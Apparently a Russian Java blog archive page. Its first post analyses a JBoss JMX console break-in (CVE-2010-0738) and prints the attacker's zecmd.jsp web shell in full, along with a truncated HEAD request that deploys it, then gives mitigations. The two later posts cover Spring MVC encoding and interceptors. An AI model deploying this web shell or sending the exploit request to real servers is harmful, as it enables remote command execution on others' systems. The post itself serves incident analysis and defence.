Category Archives: Java

Уязвимость JMX Console в JBoss AS 4.x и 5.x

Written by elwood

Придя на работу, обнаружил в логах странное :

java.io.IOException: CreateProcess error=2, ?? ??????? ????? ????????? ????
at java.lang.ProcessImpl.create(Native Method)
at java.lang.ProcessImpl.<init>(ProcessImpl.java:81)
at java.lang.ProcessImpl.start(ProcessImpl.java:30)

Чуть ниже был обнаружен и источник этого сообщения – zecmd.jsp. Файл этот был быстро найден в директории /default/deploy/management/zecmd.war и содержал примитивный веб-шелл :

<%@ page import="java.util.*,java.io.*" %>
<% %>
<HTML>
<BODY>
<FORM METHOD="GET" NAME="comments" ACTION="">
  <INPUT TYPE="text" NAME="comment">
  <INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre> <% if (request.getParameter("comment") != null) {
    out.println("Command: " + request.getParameter("comment") + "<BR>");
    Process p = Runtime.getRuntime().exec(request.getParameter("comment"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while (disr != null) {
        out.println(disr);
        disr = dis.readLine();
    }
} %>


Собственно, мне повезло, что мой сервер приложений был запущен из-под Windows, поскольку шелл, судя по всему, работал только на никсовых платформах.

В сети быстро нашлась информация о том, что это за шелл и какую уязвимость хакер мог эксплуатировать для того, чтобы его залить:

http://scoperchiatore.wordpress.com/2011/12/16/jboss-worm-it-is-real-and-there-are-3-new-form-spreading-in-jboss-worm/
https://community.jboss.org/blogs/mjc/2011/10/20/statement-regarding-security-threat-to-jboss-application-server
http://xorl.wordpress.com/2012/02/14/hack-analysis-cve-2010-0738/

Проблема была в дефолтной конфигурации web.xml консоли JMX. Она требовала авторизации для запросов GET и POST, а все остальные запросы пропускались без требования логина и пароля. И умники нашли способ через метод HEAD заливать произвольный JSP на сервер простым запросом

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%32c%4...

Проверил этот запрос с помощью Fiddler – и действительно, в /server/default/deploy/management/ появился тот самый варник zecmd.war.

Сценарий хакерских атак такой. Сначала через дырку в JMX они заливают вебшелл (их доступно несколько, и они все работают на никсовых системах). После этого через шелл заливаются остальные зловреды (скрипты, сканеры портов итд). После этого машина сама становится рассадником заразы, сканируя некоторые диапазоны IP-адресов и пробуя также найти уязвимые сервера.

Методы борьбы (начиная от самых простых к самым надежным):

1) Добавить запрет на метод HEAD в web.xml
2) Убрать JMX console и другие админки
3) Настроить JMX console и админки таким образом, чтобы они были доступны только с локального IP-адреса.

Свежие версии JBoss идут по третьему пути, и по умолчанию на админку можно зайти только с локалхоста.

Spring @ResponseBody и UTF-8

Written by elwood

С недавних пор я отказался от хитрых способов для реализации ajax-запросов (таких, как DWR, к примеру), отдав предпочтение обычным спринговым обработчикам, помеченным аннотацией @ResponseBody. Настроил конвертеры для json и xml, добавив их в список конвертеров AnnotationMethodHandlerAdapter. Но, как оказалось, настроил я не всё.

Дело в том, что обычно если мне нужно было получить кусок разметки при помощи ajax, я не выставлял @ResponseBody (поскольку это был “обычный” запрос), а в методе возвращал название view. Spring брал по названию view нужный jsp (хотя у меня не напрямую jsp, а через Tiles, что не суть важно). Однако мне вдруг понадобилось напрямую вернуть String. И как оказалось, конвертер StringHttpMessageConverter упрямо перекодирует возвращаемую мной строку в ISO-8859-1, свою дефолтную кодировку. Причем ни выставленные Accepts и Accept-Charset заголовки, ни указанное в @RequestMapping‘e свойство produce=”text/html;charset=UTF-8″, ни сконфигурированные в конвертере supportedMediaTypes не влияли на результат.

Полез дебагером внутрь конвертера, где выяснил, что действительно, это всё не влияет на определение нужной кодировки. А влияет лишь переданный в конвертер MediaType, который как правило содержал только mime-type, а кодировка была установлена в null. После чего конвертер, видя что ему пришел null, брал свою дефолтную кодировку и применял её к строке. Причем эту дефолтную кодировку нельзя задать ни в конструкторе конвертера, ни с помощью сеттера. Пришлось пойти на крайние меры – сделать форк конвертера в свой класс, добавить возможность задания дефолтной кодировки и заменить стандартный конвертер на свой в конфиге AnnotationMethodHandlerAdapter‘a.

Код:

/**
 * User: igor.kostromin
 * Date: 22.08.12
 * Time: 12:11
 *
 * Differs from StringHttpMessageConverter only in default charset specifying feature.
 */
public final class ConfigurableStringHttpMessageConverter extends AbstractHttpMessageConverter<String> {
 
    private Charset defaultCharset;
 
    public Charset getDefaultCharset() {
        return defaultCharset;
    }
 
	private final List<Charset> availableCharsets;
 
	private boolean writeAcceptCharset = true;
 
	public ConfigurableStringHttpMessageConverter() {
		super(new MediaType("text", "plain", StringHttpMessageConverter.DEFAULT_CHARSET), MediaType.ALL);
        defaultCharset = StringHttpMessageConverter.DEFAULT_CHARSET;
		this.availableCharsets = new ArrayList<Charset>(Charset.availableCharsets().values());
	}
 
    public ConfigurableStringHttpMessageConverter(String charsetName) {
        super(new MediaType("text", "plain", Charset.forName(charsetName)), MediaType.ALL);
        defaultCharset = Charset.forName(charsetName);
		this.availableCharsets = new ArrayList<Charset>(Charset.availableCharsets().values());
    }
 
	/**
	 * Indicates whether the {@code Accept-Charset} should be written to any outgoing request.
	 * <p>Default is {@code true}.
	 */
	public void setWriteAcceptCharset(boolean writeAcceptCharset) {
		this.writeAcceptCharset = writeAcceptCharset;
	}
 
	@Override
	public boolean supports(Class<?> clazz) {
		return String.class.equals(clazz);
	}
 
	@Override
	protected String readInternal(Class clazz, HttpInputMessage inputMessage) throws IOException {
		Charset charset = getContentTypeCharset(inputMessage.getHeaders().getContentType());
		return FileCopyUtils.copyToString(new InputStreamReader(inputMessage.getBody(), charset));
	}
 
	@Override
	protected Long getContentLength(String s, MediaType contentType) {
		Charset charset = getContentTypeCharset(contentType);
		try {
			return (long) s.getBytes(charset.name()).length;
		}
		catch (UnsupportedEncodingException ex) {
			// should not occur
			throw new InternalError(ex.getMessage());
		}
	}
 
	@Override
	protected void writeInternal(String s, HttpOutputMessage outputMessage) throws IOException {
		if (writeAcceptCharset) {
			outputMessage.getHeaders().setAcceptCharset(getAcceptedCharsets());
		}
		Charset charset = getContentTypeCharset(outputMessage.getHeaders().getContentType());
		FileCopyUtils.copy(s, new OutputStreamWriter(outputMessage.getBody(), charset));
	}
 
	/**
	 * Return the list of supported {@link Charset}.
	 *
	 * <p>By default, returns {@link Charset#availableCharsets()}. Can be overridden in subclasses.
	 *
	 * @return the list of accepted charsets
	 */
	protected List<Charset> getAcceptedCharsets() {
		return this.availableCharsets;
	}
 
	private Charset getContentTypeCharset(MediaType contentType) {
		if (contentType != null && contentType.getCharSet() != null) {
			return contentType.getCharSet();
		}
		else {
			return defaultCharset;
		}
	}
}

Использование:

<bean class="org.springframework.web.servlet.mvc.annotation.AnnotationMethodHandlerAdapter">
        <property name="messageConverters">
            <util:list>
                <bean class="ru.dz.mvk.util.ConfigurableStringHttpMessageConverter">
                    <constructor-arg index="0" value="UTF-8"/>
                </bean>
                <bean class="org.springframework.http.converter.FormHttpMessageConverter"/>
                <bean class="org.springframework.http.converter.ByteArrayHttpMessageConverter"/>
                <bean class="org.springframework.http.converter.xml.SourceHttpMessageConverter"/>
                <bean class="org.springframework.http.converter.BufferedImageHttpMessageConverter"/>
                <!-- json converter (for application/json multimedia type) -->
                <bean class="org.springframework.http.converter.json.MappingJacksonHttpMessageConverter"/>
                <!-- xml converter (for application/xhtml+xml)-->
                <bean class="org.springframework.http.converter.xml.MarshallingHttpMessageConverter">
                    <property name="marshaller" ref="xstreamMarshaller"/>
                    <property name="unmarshaller" ref="xstreamMarshaller"/>
                </bean>
            </util:list>
        </property>
</bean>

Spring Interceptors : добавление атрибутов в model

Written by elwood

Часто бывает нужно добавлять в model какой-то глобальный объект (например, информацию о текущем пользователе). В каждом методе каждого контроллера делать это лениво. На помощь приходит механизм интерсепторов – объектов, которые перехватывают обработку запросов на различных этапах их жизненного цикла. Для создания собственного интерсептора достаточно занаследоваться от класса HandlerInterceptorAdapter (или напрямую от интерфейса HandlerInterceptor). А чтобы Spring увидел ваш интерсептор, нужно вписать его инстанс в конфиг вашего HandlerMapping’а, например, так:

<bean class="org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping">
        <property name="interceptors">
            <list>
                <bean class="su.elwood.controllers.CommonInterceptor"/>
            </list>
        </property>
</bean>

При этом сам класс может выглядеть так:

public final class CommonInterceptor extends HandlerInterceptorAdapter {
    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
        // modelAndView is null if @ResponseBody is used
        // look http://forum.springsource.org/showthread.php?93859-SessionAttributes-not-working-when-used-with-ResponseBody
        // for detailed explanation
        if (null != modelAndView) {
            // if modelAndView.getViewName() starts with "redirect:" we shouldn't add an attributes to
            // model because it will be placed in actual redirect URL
            String viewName = modelAndView.getViewName();
            if (viewName != null && !viewName.startsWith("redirect:")) {
                User currentUser = MembershipHelper.getCurrentUser();
                modelAndView.addObject("user", currentUser);
            }
        }
    }
}

Здесь нужно сделать важное замечание. Приведённое условие if (!modelAndView.getViewName().startsWith(“redirect:”)) просто необходимо для корректной работы приложения, поскольку если его не указывать, то при редиректе добавленные атрибуты-примитивы (строки, целые или булевы значения) будут добавлены спрингом в URL редиректа, и юзер увидит у себя в адресной строке то, что по идее он видеть не должен. Скорее всего, таким образом обрабатываются все атрибуты модели, которые можно сериализовать. Поэтому будьте внимательны. Ну и не стоит забывать о том, что modelAndView может принимать значение null в случае, если метод-обработчик был помечен аннотацией @ResponseBody.